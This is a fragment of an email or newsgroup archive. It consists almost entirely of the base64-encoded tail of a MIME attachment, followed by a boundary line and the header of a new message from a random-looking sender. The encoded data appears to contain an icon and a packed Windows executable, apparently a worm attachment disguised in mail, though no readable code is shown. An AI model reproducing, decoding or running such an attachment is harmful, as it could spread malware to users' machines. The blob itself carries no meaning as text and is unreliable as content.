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
IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU
REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi
IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI
iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE
RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj
RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE
iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS
UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE
REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz
QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA
BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF
CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB
dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6
ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3
AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+
EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ
UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX
zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ
TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp
Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k
Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB
dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS
AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd
Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA
JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y
TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA

------=_NextPart_000_0016----=_NextPart_000_0016--




From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Neva Rosas <xjpymfaegt@journalist.com>
